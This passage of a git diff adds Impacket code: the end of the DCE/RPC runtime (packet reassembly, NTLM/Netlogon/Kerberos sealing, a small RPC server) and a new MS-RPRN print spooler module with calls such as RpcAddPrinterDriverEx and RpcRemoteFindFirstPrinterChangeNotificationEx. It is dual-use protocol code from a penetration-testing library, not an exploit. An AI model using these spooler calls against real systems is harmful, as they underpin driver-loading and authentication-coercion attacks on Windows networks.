+            # the transport layer didn't send us the full packet's contents
+            # So we gotta check we received it all
+            while len(response_data) < response_header['frag_len']:
+               response_data += self._transport.recv(forceRecv, count=(response_header['frag_len']-len(response_data)))
+
+            off = response_header.get_header_size()
+
+            if response_header['type'] == MSRPC_FAULT and response_header['frag_len'] >= off+4:
+                status_code = unpack("<L",response_data[off:off+4])[0]
+                if status_code in rpc_status_codes:
+                    raise DCERPCException(rpc_status_codes[status_code])
+                elif status_code & 0xffff in rpc_status_codes:
+                    raise DCERPCException(rpc_status_codes[status_code & 0xffff])
+                else:
+                    if status_code in hresult_errors.ERROR_MESSAGES:
+                        error_msg_short = hresult_errors.ERROR_MESSAGES[status_code][0]
+                        error_msg_verbose = hresult_errors.ERROR_MESSAGES[status_code][1] 
+                        raise DCERPCException('%s - %s' % (error_msg_short, error_msg_verbose))
+                    else:
+                        raise DCERPCException('Unknown DCE RPC fault status code: %.8x' % status_code)
+
+            if response_header['flags'] & PFC_LAST_FRAG:
+                # No need to reassembly DCERPC
+                finished = True
+            else:
+                # Forcing Read Recv, we need more packets!
+                forceRecv = 1
+
+            answer = response_data[off:]
+            auth_len = response_header['auth_len']
+            if auth_len:
+                auth_len += 8
+                auth_data = answer[-auth_len:]
+                sec_trailer = SEC_TRAILER(data = auth_data)
+                answer = answer[:-auth_len]
+
+                if sec_trailer['auth_level'] == RPC_C_AUTHN_LEVEL_PKT_PRIVACY:
+                    if self.__auth_type == RPC_C_AUTHN_WINNT:
+                        if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
+                            # TODO: FIX THIS, it's not calculating the signature well
+                            # Since I'm not testing it we don't care... yet
+                            answer, signature =  ntlm.SEAL(self.__flags, 
+                                    self.__serverSigningKey, 
+                                    self.__serverSealingKey,  
+                                    answer, 
+                                    answer, 
+                                    self.__sequence, 
+                                    self.__serverSealingHandle)
+                        else:
+                            answer, signature = ntlm.SEAL(self.__flags, 
+                                    self.__serverSigningKey, 
+                                    self.__serverSealingKey, 
+                                    answer, 
+                                    answer, 
+                                    self.__sequence, 
+                                    self.__serverSealingHandle)
+                            self.__sequence += 1
+                    elif self.__auth_type == RPC_C_AUTHN_NETLOGON:
+                        from impacket.dcerpc.v5 import nrpc
+                        answer, cfounder = nrpc.UNSEAL(answer, 
+                               auth_data[len(sec_trailer):],
+                               self.__sessionKey, 
+                               False)
+                        self.__sequence += 1
+                    elif self.__auth_type == RPC_C_AUTHN_GSS_NEGOTIATE:
+                        if self.__sequence > 0:
+                            answer, cfounder = self.__gss.GSS_Unwrap(self.__sessionKey, answer, self.__sequence,
+                                                                     direction='init', authData=auth_data)
+
+                elif sec_trailer['auth_level'] == RPC_C_AUTHN_LEVEL_PKT_INTEGRITY:
+                    if self.__auth_type == RPC_C_AUTHN_WINNT:
+                        ntlmssp = auth_data[12:]
+                        if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
+                            signature =  ntlm.SIGN(self.__flags, 
+                                    self.__serverSigningKey, 
+                                    answer, 
+                                    self.__sequence, 
+                                    self.__serverSealingHandle)
+                        else:
+                            signature = ntlm.SIGN(self.__flags, 
+                                    self.__serverSigningKey, 
+                                    ntlmssp, 
+                                    self.__sequence, 
+                                    self.__serverSealingHandle)
+                            # Yes.. NTLM2 doesn't increment sequence when receiving
+                            # the packet :P
+                            self.__sequence += 1
+                    elif self.__auth_type == RPC_C_AUTHN_NETLOGON:
+                        from impacket.dcerpc.v5 import nrpc
+                        ntlmssp = auth_data[12:]
+                        signature = nrpc.SIGN(ntlmssp, 
+                               self.__confounder, 
+                               self.__sequence, 
+                               self.__sessionKey, 
+                               False)
+                        self.__sequence += 1
+                    elif self.__auth_type == RPC_C_AUTHN_GSS_NEGOTIATE:
+                        # Do NOT increment the sequence number when Signing Kerberos
+                        #self.__sequence += 1
+                        pass
+
+                
+                if sec_trailer['auth_pad_len']:
+                    answer = answer[:-sec_trailer['auth_pad_len']]
+              
+            retAnswer += answer
+        return retAnswer
+
+    def alter_ctx(self, newUID, bogus_binds = 0):
+        answer = self.__class__(self._transport)
+
+        answer.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
+                               self.__aesKey, self.__TGT, self.__TGS)
+        answer.set_auth_type(self.__auth_type)
+        answer.set_auth_level(self.__auth_level)
+
+        answer.set_ctx_id(self._ctx+1)
+        answer.__callid = self.__callid
+        answer.bind(newUID, alter = 1, bogus_binds = bogus_binds, transfer_syntax = bin_to_uuidtup(self.transfer_syntax))
+        return answer
+
+class DCERPC_RawCall(MSRPCRequestHeader):
+    def __init__(self, op_num, data = b'', uuid=None):
+        MSRPCRequestHeader.__init__(self)
+        self['op_num'] = op_num
+        self['pduData'] = data
+        if uuid is not None:
+            self['flags'] |= PFC_OBJECT_UUID
+            self['uuid'] = uuid
+
+    def setData(self, data):
+        self['pduData'] = data
+
+# 2.2.6 Type Serialization Version 1
+class CommonHeader(NDRSTRUCT):
+    structure = (
+        ('Version', UCHAR),
+        ('Endianness', UCHAR),
+        ('CommonHeaderLength', USHORT),
+        ('Filler', ULONG),
+    )
+    def __init__(self, data = None,isNDR64 = False):
+        NDRSTRUCT.__init__(self, data, isNDR64)
+        if data is None:
+            self['Version'] = 1
+            self['Endianness'] = 0x10
+            self['CommonHeaderLength'] = 8
+            self['Filler'] = 0xcccccccc
+
+class PrivateHeader(NDRSTRUCT):
+    structure = (
+        ('ObjectBufferLength', ULONG),
+        ('Filler', ULONG),
+    )
+    def __init__(self, data = None,isNDR64 = False):
+        NDRSTRUCT.__init__(self, data, isNDR64)
+        if data is None:
+            self['Filler'] = 0xcccccccc
+
+class TypeSerialization1(NDRSTRUCT):
+    commonHdr = (
+        ('CommonHeader', CommonHeader),
+        ('PrivateHeader', PrivateHeader),
+    )
+    def getData(self, soFar = 0):
+        self['PrivateHeader']['ObjectBufferLength'] = len(NDRSTRUCT.getData(self, soFar)) + len(
+            NDRSTRUCT.getDataReferents(self, soFar)) - len(self['CommonHeader']) - len(self['PrivateHeader'])
+        return NDRSTRUCT.getData(self, soFar)
+
+class DCERPCServer(Thread):
+    """
+    A minimalistic DCERPC Server, mainly used by the smbserver, for now. Might be useful
+    for other purposes in the future, but we should do it way stronger.
+    If you want to implement a DCE Interface Server, use this class as the base class
+    """
+    def __init__(self):
+        Thread.__init__(self)
+        self._listenPort    = 0
+        self._listenAddress = '127.0.0.1'
+        self._listenUUIDS   = {}
+        self._boundUUID     = b''
+        self._sock          = None
+        self._clientSock    = None
+        self._callid        = 1
+        self._max_frag       = None
+        self._max_xmit_size = 4280
+        self.__log = LOG
+        self._sock = socket.socket()
+        self._sock.bind((self._listenAddress,self._listenPort))
+
+    def log(self, msg, level=logging.INFO):
+        self.__log.log(level,msg)
+
+    def addCallbacks(self, ifaceUUID, secondaryAddr, callbacks):
+        """
+        adds a call back to a UUID/opnum call
+        
+        :param uuid ifaceUUID: the interface UUID
+        :param string secondaryAddr: the secondary address to answer as part of the bind request (e.g. \\\\PIPE\\\\srvsvc)
+        :param dict callbacks: the callbacks for each opnum. Format is [opnum] = callback
+        """
+        self._listenUUIDS[uuidtup_to_bin(ifaceUUID)] = {}
+        self._listenUUIDS[uuidtup_to_bin(ifaceUUID)]['SecondaryAddr'] = secondaryAddr
+        self._listenUUIDS[uuidtup_to_bin(ifaceUUID)]['CallBacks'] = callbacks
+        self.log("Callback added for UUID %s V:%s" % ifaceUUID)
+
+    def setListenPort(self, portNum):
+        self._listenPort = portNum
+        self._sock = socket.socket()
+        self._sock.bind((self._listenAddress,self._listenPort))
+
+    def getListenPort(self):
+        return self._sock.getsockname()[1]
+
+    def recv(self):
+        finished = False
+        retAnswer = b''
+        response_data = b''
+        while not finished:
+            # At least give me the MSRPCRespHeader, especially important for TCP/UDP Transports
+            response_data = self._clientSock.recv(MSRPCRespHeader._SIZE)
+            # No data?, connection might have closed
+            if response_data == b'':
+                return None
+            response_header = MSRPCRespHeader(response_data)
+            # Ok, there might be situation, especially with large packets, 
+            # that the transport layer didn't send us the full packet's contents
+            # So we gotta check we received it all
+            while len(response_data) < response_header['frag_len']:
+               response_data += self._clientSock.recv(response_header['frag_len']-len(response_data))
+            response_header = MSRPCRespHeader(response_data)
+            if response_header['flags'] & PFC_LAST_FRAG:
+                # No need to reassembly DCERPC
+                finished = True
+            answer = response_header['pduData']
+            auth_len = response_header['auth_len']
+            if auth_len:
+                auth_len += 8
+                auth_data = answer[-auth_len:]
+                sec_trailer = SEC_TRAILER(data = auth_data)
+                answer = answer[:-auth_len]
+                if sec_trailer['auth_pad_len']:
+                    answer = answer[:-sec_trailer['auth_pad_len']]
+              
+            retAnswer += answer
+        return response_data
+    
+    def run(self):
+        self._sock.listen(10)
+        while True:
+            self._clientSock, address = self._sock.accept()
+            try:
+                while True:
+                    data = self.recv()
+                    if data is None:
+                        # No data.. connection closed
+                        break
+                    answer = self.processRequest(data)
+                    if answer is not None:
+                        self.send(answer)
+            except Exception:
+                #import traceback
+                #traceback.print_exc()
+                pass
+            self._clientSock.close()
+
+    def send(self, data):
+        max_frag       = self._max_frag
+        if len(data['pduData']) > self._max_xmit_size - 32:
+            max_frag   = self._max_xmit_size - 32    # XXX: 32 is a safe margin for auth data
+
+        if self._max_frag:
+            max_frag   = min(max_frag, self._max_frag)
+        if max_frag and len(data['pduData']) > 0:
+            packet     = data['pduData']
+            offset     = 0
+            while 1:
+                toSend = packet[offset:offset+max_frag]
+                if not toSend:
+                    break
+                flags  = 0
+                if offset == 0:
+                    flags |= PFC_FIRST_FRAG
+                offset += len(toSend)
+                if offset == len(packet):
+                    flags |= PFC_LAST_FRAG
+                data['flags']   = flags
+                data['pduData'] = toSend
+                self._clientSock.send(data.get_packet())
+        else:
+            self._clientSock.send(data.get_packet())
+        self._callid += 1
+
+    def bind(self,packet, bind):
+        # Standard NDR Representation
+        NDRSyntax   = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
+        resp = MSRPCBindAck()
+
+        resp['type']             = MSRPC_BINDACK
+        resp['flags']            = packet['flags']
+        resp['frag_len']         = 0
+        resp['auth_len']         = 0
+        resp['auth_data']        = b''
+        resp['call_id']          = packet['call_id'] 
+        resp['max_tfrag']        = bind['max_tfrag']
+        resp['max_rfrag']        = bind['max_rfrag']
+        resp['assoc_group']      = 0x1234
+        resp['ctx_num']          = 0
+
+        data      = bind['ctx_items']
+        ctx_items = b''
+        resp['SecondaryAddrLen'] = 0
+        for i in range(bind['ctx_num']):
+            result = MSRPC_CONT_RESULT_USER_REJECT
+            item   = CtxItem(data)
+            data   = data[len(item):]
+
+            # First we check the Transfer Syntax is NDR32, what we support
+            if item['TransferSyntax'] == uuidtup_to_bin(NDRSyntax):
+                # Now Check if the interface is what we listen
+                reason = 1 # Default, Abstract Syntax not supported
+                for j in self._listenUUIDS:
+                    if item['AbstractSyntax'] == j:
+                        # Match, we accept the bind request
+                        resp['SecondaryAddr']    = self._listenUUIDS[item['AbstractSyntax']]['SecondaryAddr']
+                        resp['SecondaryAddrLen'] = len(resp['SecondaryAddr'])+1
+                        reason           = 0
+                        self._boundUUID = j
+            else:
+                # Fail the bind request for this context
+                reason = 2 # Transfer Syntax not supported
+            if reason == 0:
+               result = MSRPC_CONT_RESULT_ACCEPT
+            if reason == 1:
+                LOG.error('Bind request for an unsupported interface %s' % bin_to_uuidtup(item['AbstractSyntax']))
+
+            resp['ctx_num']             += 1
+            itemResult                   = CtxItemResult()
+            itemResult['Result']         = result
+            itemResult['Reason']         = reason
+            itemResult['TransferSyntax'] = uuidtup_to_bin(NDRSyntax)
+            ctx_items                   += itemResult.getData()
+
+        resp['Pad']              ='A'*((4-((resp["SecondaryAddrLen"]+MSRPCBindAck._SIZE) % 4))%4)
+        resp['ctx_items'] = ctx_items
+        resp['frag_len']  = len(resp.getData())
+
+        self._clientSock.send(resp.getData())
+        return None
+
+    def processRequest(self,data):
+        packet = MSRPCHeader(data)
+        if packet['type'] == MSRPC_BIND:
+            bind   = MSRPCBind(packet['pduData'])
+            self.bind(packet, bind)
+            packet = None
+        elif packet['type'] == MSRPC_REQUEST:
+            request          = MSRPCRequestHeader(data)
+            response         = MSRPCRespHeader(data)
+            response['type'] = MSRPC_RESPONSE
+            # Serve the opnum requested, if not, fails
+            if request['op_num'] in self._listenUUIDS[self._boundUUID]['CallBacks']:
+                # Call the function 
+                returnData          = self._listenUUIDS[self._boundUUID]['CallBacks'][request['op_num']](request['pduData'])
+                response['pduData'] = returnData
+            else:
+                LOG.error('Unsupported DCERPC opnum %d called for interface %s' % (request['op_num'], bin_to_uuidtup(self._boundUUID)))
+                response['type']    = MSRPC_FAULT
+                response['pduData'] = pack('<L',0x000006E4)
+            response['frag_len'] = len(response)
+            return response
+        else:
+            # Defaults to a fault
+            packet         = MSRPCRespHeader(data)
+            packet['type'] = MSRPC_FAULT
+
+        return packet
diff --git a/impacket/dcerpc/v5/rprn.py b/impacket/dcerpc/v5/rprn.py
new file mode 100644
index 0000000..5f28c4a
--- /dev/null
+++ b/impacket/dcerpc/v5/rprn.py
@@ -0,0 +1,736 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-RPRN] Interface implementation
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Some calls have helper functions, which makes it even easier to use.
+#   They are located at the end of this file.
+#   Helper functions start with "h"<name of the call>.
+#   There are test cases for them too.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+from impacket import system_errors
+from impacket.dcerpc.v5.dtypes import ULONGLONG, UINT, USHORT, LPWSTR, DWORD, ULONG, NULL
+from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRUNION, NDRPOINTER, NDRUniConformantArray
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.uuid import uuidtup_to_bin
+
+MSRPC_UUID_RPRN = uuidtup_to_bin(('12345678-1234-ABCD-EF00-0123456789AB', '1.0'))
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        key = self.error_code
+        if key in system_errors.ERROR_MESSAGES:
+            error_msg_short = system_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] 
+            return 'RPRN SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'RPRN SessionError: unknown error code: 0x%x' % self.error_code
+
+################################################################################
+# CONSTANTS
+################################################################################
+# 2.2.1.1.7 STRING_HANDLE
+STRING_HANDLE = LPWSTR
+class PSTRING_HANDLE(NDRPOINTER):
+    referent = (
+        ('Data', STRING_HANDLE),
+    )
+
+# 2.2.3.1 Access Values
+JOB_ACCESS_ADMINISTER         = 0x00000010
+JOB_ACCESS_READ               = 0x00000020
+JOB_EXECUTE                   = 0x00020010
+JOB_READ                      = 0x00020020
+JOB_WRITE                     = 0x00020010
+JOB_ALL_ACCESS                = 0x000F0030
+PRINTER_ACCESS_ADMINISTER     = 0x00000004
+PRINTER_ACCESS_USE            = 0x00000008
+PRINTER_ACCESS_MANAGE_LIMITED = 0x00000040
+PRINTER_ALL_ACCESS            = 0x000F000C
+PRINTER_EXECUTE               = 0x00020008
+PRINTER_READ                  = 0x00020008
+PRINTER_WRITE                 = 0x00020008
+SERVER_ACCESS_ADMINISTER      = 0x00000001
+SERVER_ACCESS_ENUMERATE       = 0x00000002
+SERVER_ALL_ACCESS             = 0x000F0003
+SERVER_EXECUTE                = 0x00020002
+SERVER_READ                   = 0x00020002
+SERVER_WRITE                  = 0x00020003
+SPECIFIC_RIGHTS_ALL           = 0x0000FFFF
+STANDARD_RIGHTS_ALL           = 0x001F0000
+STANDARD_RIGHTS_EXECUTE       = 0x00020000
+STANDARD_RIGHTS_READ          = 0x00020000
+STANDARD_RIGHTS_REQUIRED      = 0x000F0000
+STANDARD_RIGHTS_WRITE         = 0x00020000
+SYNCHRONIZE                   = 0x00100000
+DELETE                        = 0x00010000
+READ_CONTROL                  = 0x00020000
+WRITE_DAC                     = 0x00040000
+WRITE_OWNER                   = 0x00080000
+GENERIC_READ                  = 0x80000000
+GENERIC_WRITE                 = 0x40000000
+GENERIC_EXECUTE               = 0x20000000
+GENERIC_ALL                   = 0x10000000
+
+# 2.2.3.6.1 Printer Change Flags for Use with a Printer Handle
+PRINTER_CHANGE_SET_PRINTER        = 0x00000002
+PRINTER_CHANGE_DELETE_PRINTER     = 0x00000004
+PRINTER_CHANGE_PRINTER            = 0x000000FF
+PRINTER_CHANGE_ADD_JOB            = 0x00000100
+PRINTER_CHANGE_SET_JOB            = 0x00000200
+PRINTER_CHANGE_DELETE_JOB         = 0x00000400
+PRINTER_CHANGE_WRITE_JOB          = 0x00000800
+PRINTER_CHANGE_JOB                = 0x0000FF00
+PRINTER_CHANGE_SET_PRINTER_DRIVER = 0x20000000
+PRINTER_CHANGE_TIMEOUT            = 0x80000000
+PRINTER_CHANGE_ALL                = 0x7777FFFF
+PRINTER_CHANGE_ALL_2              = 0x7F77FFFF
+
+# 2.2.3.6.2 Printer Change Flags for Use with a Server Handle
+PRINTER_CHANGE_ADD_PRINTER_DRIVER        = 0x10000000
+PRINTER_CHANGE_DELETE_PRINTER_DRIVER     = 0x40000000
+PRINTER_CHANGE_PRINTER_DRIVER            = 0x70000000
+PRINTER_CHANGE_ADD_FORM                  = 0x00010000
+PRINTER_CHANGE_DELETE_FORM               = 0x00040000
+PRINTER_CHANGE_SET_FORM                  = 0x00020000
+PRINTER_CHANGE_FORM                      = 0x00070000
+PRINTER_CHANGE_ADD_PORT                  = 0x00100000
+PRINTER_CHANGE_CONFIGURE_PORT            = 0x00200000
+PRINTER_CHANGE_DELETE_PORT               = 0x00400000
+PRINTER_CHANGE_PORT                      = 0x00700000
+PRINTER_CHANGE_ADD_PRINT_PROCESSOR       = 0x01000000
+PRINTER_CHANGE_DELETE_PRINT_PROCESSOR    = 0x04000000
+PRINTER_CHANGE_PRINT_PROCESSOR           = 0x07000000
+PRINTER_CHANGE_ADD_PRINTER               = 0x00000001
+PRINTER_CHANGE_FAILED_CONNECTION_PRINTER = 0x00000008
+PRINTER_CHANGE_SERVER                    = 0x08000000
+
+# 2.2.3.7 Printer Enumeration Flags
+PRINTER_ENUM_LOCAL       = 0x00000002
+PRINTER_ENUM_CONNECTIONS = 0x00000004
+PRINTER_ENUM_NAME        = 0x00000008
+PRINTER_ENUM_REMOTE      = 0x00000010
+PRINTER_ENUM_SHARED      = 0x00000020
+PRINTER_ENUM_NETWORK     = 0x00000040
+PRINTER_ENUM_EXPAND      = 0x00004000
+PRINTER_ENUM_CONTAINER   = 0x00008000
+PRINTER_ENUM_ICON1       = 0x00010000
+PRINTER_ENUM_ICON2       = 0x00020000
+PRINTER_ENUM_ICON3       = 0x00040000
+PRINTER_ENUM_ICON8       = 0x00800000
+PRINTER_ENUM_HIDE        = 0x01000000
+
+
+# 2.2.3.8 Printer Notification Values
+PRINTER_NOTIFY_CATEGORY_2D  = 0x00000000
+PRINTER_NOTIFY_CATEGORY_ALL = 0x00010000
+PRINTER_NOTIFY_CATEGORY_3D  = 0x00020000
+
+
+# 3.1.4.4.8 RpcAddPrinterDriverEx Values
+APD_STRICT_UPGRADE              = 0x00000001
+APD_STRICT_DOWNGRADE            = 0x00000002
+APD_COPY_ALL_FILES              = 0x00000004
+APD_COPY_NEW_FILES              = 0x00000008
+APD_COPY_FROM_DIRECTORY         = 0x00000010
+APD_DONT_COPY_FILES_TO_CLUSTER  = 0x00001000
+APD_COPY_TO_ALL_SPOOLERS        = 0x00002000
+APD_INSTALL_WARNED_DRIVER       = 0x00008000
+APD_RETURN_BLOCKING_STATUS_CODE = 0x00010000
+
+################################################################################
+# STRUCTURES
+################################################################################
+# 2.2.1.1.4 PRINTER_HANDLE
+class PRINTER_HANDLE(NDRSTRUCT):
+    structure =  (
+        ('Data','20s=b""'),
+    )
+    def getAlignment(self):
+        if self._isNDR64 is True:
+            return 8
+        else:
+            return 4
+
+# 2.2.1.2.1 DEVMODE_CONTAINER
+class BYTE_ARRAY(NDRUniConformantArray):
+    item = 'c'
+
+class PBYTE_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', BYTE_ARRAY),
+    )
+
+class DEVMODE_CONTAINER(NDRSTRUCT):
+    structure =  (
+        ('cbBuf',DWORD),
+        ('pDevMode',PBYTE_ARRAY),
+    )
+
+# 2.2.1.11.1 SPLCLIENT_INFO_1
+class SPLCLIENT_INFO_1(NDRSTRUCT):
+    structure =  (
+        ('dwSize',DWORD),
+        ('pMachineName',LPWSTR),
+        ('pUserName',LPWSTR),
+        ('dwBuildNum',DWORD),
+        ('dwMajorVersion',DWORD),
+        ('dwMinorVersion',DWORD),
+        ('wProcessorArchitecture',USHORT),
+    )
+
+class PSPLCLIENT_INFO_1(NDRPOINTER):
+    referent = (
+        ('Data', SPLCLIENT_INFO_1),
+    )
+
+# 2.2.1.11.2 SPLCLIENT_INFO_2
+class SPLCLIENT_INFO_2(NDRSTRUCT):
+    structure =  (
+        ('notUsed',ULONGLONG),
+    )
+
+class PSPLCLIENT_INFO_2(NDRPOINTER):
+    referent = (
+        ('Data', SPLCLIENT_INFO_2),
+    )
+# 2.2.1.11.3 SPLCLIENT_INFO_3
+class SPLCLIENT_INFO_3(NDRSTRUCT):
+    structure =  (
+        ('cbSize',UINT),
+        ('dwFlags',DWORD),
+        ('dwFlags',DWORD),
+        ('pMachineName',LPWSTR),
+        ('pUserName',LPWSTR),
+        ('dwBuildNum',DWORD),
+        ('dwMajorVersion',DWORD),
+        ('dwMinorVersion',DWORD),
+        ('wProcessorArchitecture',USHORT),
+        ('hSplPrinter',ULONGLONG),
+    )
+
+class PSPLCLIENT_INFO_3(NDRPOINTER):
+    referent = (
+        ('Data', SPLCLIENT_INFO_3),
+    )
+
+# 2.2.1.5.1 DRIVER_INFO_1
+class DRIVER_INFO_1(NDRSTRUCT):
+    structure = (
+        ('pName', STRING_HANDLE ),
+    )
+class PDRIVER_INFO_1(NDRPOINTER):
+    referent = (
+        ('Data', DRIVER_INFO_1),
+    )
+
+# 2.2.1.5.2 DRIVER_INFO_2
+class DRIVER_INFO_2(NDRSTRUCT):
+    structure = (
+        ('cVersion',DWORD),
+        ('pName', LPWSTR),
+        ('pEnvironment', LPWSTR),
+        ('pDriverPath', LPWSTR),
+        ('pDataFile', LPWSTR),
+        ('pConfigFile', LPWSTR),
+    )
+class PDRIVER_INFO_2(NDRPOINTER):
+    referent = (
+        ('Data', DRIVER_INFO_2),
+    )
+
+# 2.2.1.2.3 DRIVER_CONTAINER
+class DRIVER_INFO_UNION(NDRUNION):
+    commonHdr = (
+        ('tag', ULONG),
+    )
+    union = {
+        1 : ('pNotUsed', PDRIVER_INFO_1),
+        2 : ('Level2', PDRIVER_INFO_2),
+    }
+
+class DRIVER_CONTAINER(NDRSTRUCT):
+    structure =  (
+        ('Level', DWORD),
+        ('DriverInfo', DRIVER_INFO_UNION),
+    )
+
+# 2.2.1.2.14 SPLCLIENT_CONTAINER
+class CLIENT_INFO_UNION(NDRUNION):
+    commonHdr = (
+        ('tag', ULONG),
+    )
+    union = {
+        1 : ('pClientInfo1', PSPLCLIENT_INFO_1),
+        2 : ('pNotUsed1', PSPLCLIENT_INFO_2),
+        3 : ('pNotUsed2', PSPLCLIENT_INFO_3),
+    }
+
+class SPLCLIENT_CONTAINER(NDRSTRUCT):
+    structure =  (
+        ('Level',DWORD),
+        ('ClientInfo',CLIENT_INFO_UNION),
+    )
+
+# 2.2.1.13.2 RPC_V2_NOTIFY_OPTIONS_TYPE
+class USHORT_ARRAY(NDRUniConformantArray):
+    item = '<H'
+
+class PUSHORT_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', USHORT_ARRAY),
+    )
+
+class RPC_V2_NOTIFY_OPTIONS_TYPE(NDRSTRUCT):
+    structure =  (
+        ('Type',USHORT),
+        ('Reserved0',USHORT),
+        ('Reserved1',DWORD),
+        ('Reserved2',DWORD),
+        ('Count',DWORD),
+        ('pFields',PUSHORT_ARRAY),
+    )
+
+class PRPC_V2_NOTIFY_OPTIONS_TYPE_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', RPC_V2_NOTIFY_OPTIONS_TYPE),
+    )
+
+# 2.2.1.13.1 RPC_V2_NOTIFY_OPTIONS
+class RPC_V2_NOTIFY_OPTIONS(NDRSTRUCT):
+    structure =  (
+        ('Version',DWORD),
+        ('Reserved',DWORD),
+        ('Count',DWORD),
+        ('pTypes',PRPC_V2_NOTIFY_OPTIONS_TYPE_ARRAY),
+    )
+
+class PRPC_V2_NOTIFY_OPTIONS(NDRPOINTER):
+    referent = (
+        ('Data', RPC_V2_NOTIFY_OPTIONS),
+    )
+
+
+################################################################################
+# RPC CALLS
+################################################################################
+# 3.1.4.2.1 RpcEnumPrinters (Opnum 0)
+class RpcEnumPrinters(NDRCALL):
+    opnum = 0
+    structure = (
+       ('Flags', DWORD),
+       ('Name', STRING_HANDLE),
+       ('Level', DWORD),
+       ('pPrinterEnum', PBYTE_ARRAY),
+       ('cbBuf', DWORD),
+    )
+
+class RpcEnumPrintersResponse(NDRCALL):
+    structure = (
+       ('pPrinterEnum', PBYTE_ARRAY),
+       ('pcbNeeded', DWORD),
+       ('pcReturned', DWORD),
+       ('ErrorCode', ULONG),
+    )
+# 3.1.4.2.2 RpcOpenPrinter (Opnum 1)
+class RpcOpenPrinter(NDRCALL):
+    opnum = 1
+    structure = (
+       ('pPrinterName', STRING_HANDLE),
+       ('pDatatype', LPWSTR),
+       ('pDevModeContainer', DEVMODE_CONTAINER),
+       ('AccessRequired', DWORD),
+    )
+
+class RpcOpenPrinterResponse(NDRCALL):
+    structure = (
+       ('pHandle', PRINTER_HANDLE),
+       ('ErrorCode', ULONG),
+    )
+
+# 3.1.4.2.9 RpcClosePrinter (Opnum 29)
+class RpcClosePrinter(NDRCALL):
+    opnum = 29
+    structure = (
+       ('phPrinter', PRINTER_HANDLE),
+    )
+
+class RpcClosePrinterResponse(NDRCALL):
+    structure = (
+       ('phPrinter', PRINTER_HANDLE),
+       ('ErrorCode', ULONG),
+    )
+
+# 3.1.4.10.4 RpcRemoteFindFirstPrinterChangeNotificationEx (Opnum 65)
+class RpcRemoteFindFirstPrinterChangeNotificationEx(NDRCALL):
+    opnum = 65
+    structure = (
+       ('hPrinter', PRINTER_HANDLE),
+       ('fdwFlags', DWORD),
+       ('fdwOptions', DWORD),
+       ('pszLocalMachine', LPWSTR),
+       ('dwPrinterLocal', DWORD),
+       ('pOptions', PRPC_V2_NOTIFY_OPTIONS),
+    )
+
+class RpcRemoteFindFirstPrinterChangeNotificationExResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', ULONG),
+    )
+
+# 3.1.4.2.14 RpcOpenPrinterEx (Opnum 69)
+class RpcOpenPrinterEx(NDRCALL):
+    opnum = 69
+    structure = (
+       ('pPrinterName', STRING_HANDLE),
+       ('pDatatype', LPWSTR),
+       ('pDevModeContainer', DEVMODE_CONTAINER),
+       ('AccessRequired', DWORD),
+       ('pClientInfo', SPLCLIENT_CONTAINER),
+    )
+
+class RpcOpenPrinterExResponse(NDRCALL):
+    structure = (
+       ('pHandle', PRINTER_HANDLE),
+       ('ErrorCode', ULONG),
+    )
+
+# 3.1.4.4.2 RpcEnumPrinterDrivers (Opnum 10)
+class RpcEnumPrinterDrivers(NDRCALL):
+    opnum = 10
+    structure = (
+       ('pName', STRING_HANDLE),
+       ('pEnvironment', LPWSTR),
+       ('Level', DWORD),
+       ('pDrivers', PBYTE_ARRAY),
+       ('cbBuf', DWORD),
+    )
+
+class RpcEnumPrinterDriversResponse(NDRCALL):
+    structure = (
+       ('pDrivers', PBYTE_ARRAY),
+       ('pcbNeeded', DWORD),
+       ('pcReturned', DWORD),
+       ('ErrorCode', ULONG),
+    )
+
+# 3.1.4.4.4 RpcGetPrinterDriverDirectory (Opnum 12)
+class RpcGetPrinterDriverDirectory(NDRCALL):
+   opnum = 12
+   structure = (
+       ('pName', STRING_HANDLE),
+       ('pEnvironment', LPWSTR),
+       ('Level', DWORD),
+       ('pDriverDirectory', PBYTE_ARRAY),
+       ('cbBuf', DWORD)
+   )
+   
+class RpcGetPrinterDriverDirectoryResponse(NDRCALL):
+    structure = (
+       ('pDriverDirectory', PBYTE_ARRAY),
+       ('pcbNeeded', DWORD),
+       ('ErrorCode', ULONG)
+    )
+
+# 3.1.4.4.8 RpcAddPrinterDriverEx (Opnum 89)
+class RpcAddPrinterDriverEx(NDRCALL):
+    opnum = 89
+    structure = (
+       ('pName', STRING_HANDLE),
+       ('pDriverContainer', DRIVER_CONTAINER),
+       ('dwFileCopyFlags', DWORD),
+    )
+
+class RpcAddPrinterDriverExResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', ULONG),
+    )
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+    0  : (RpcEnumPrinters, RpcEnumPrintersResponse),
+    1  : (RpcOpenPrinter, RpcOpenPrinterResponse),
+    10 : (RpcEnumPrinterDrivers, RpcEnumPrinterDriversResponse),
+    12 : (RpcGetPrinterDriverDirectory, RpcGetPrinterDriverDirectoryResponse),
+    29 : (RpcClosePrinter, RpcClosePrinterResponse),
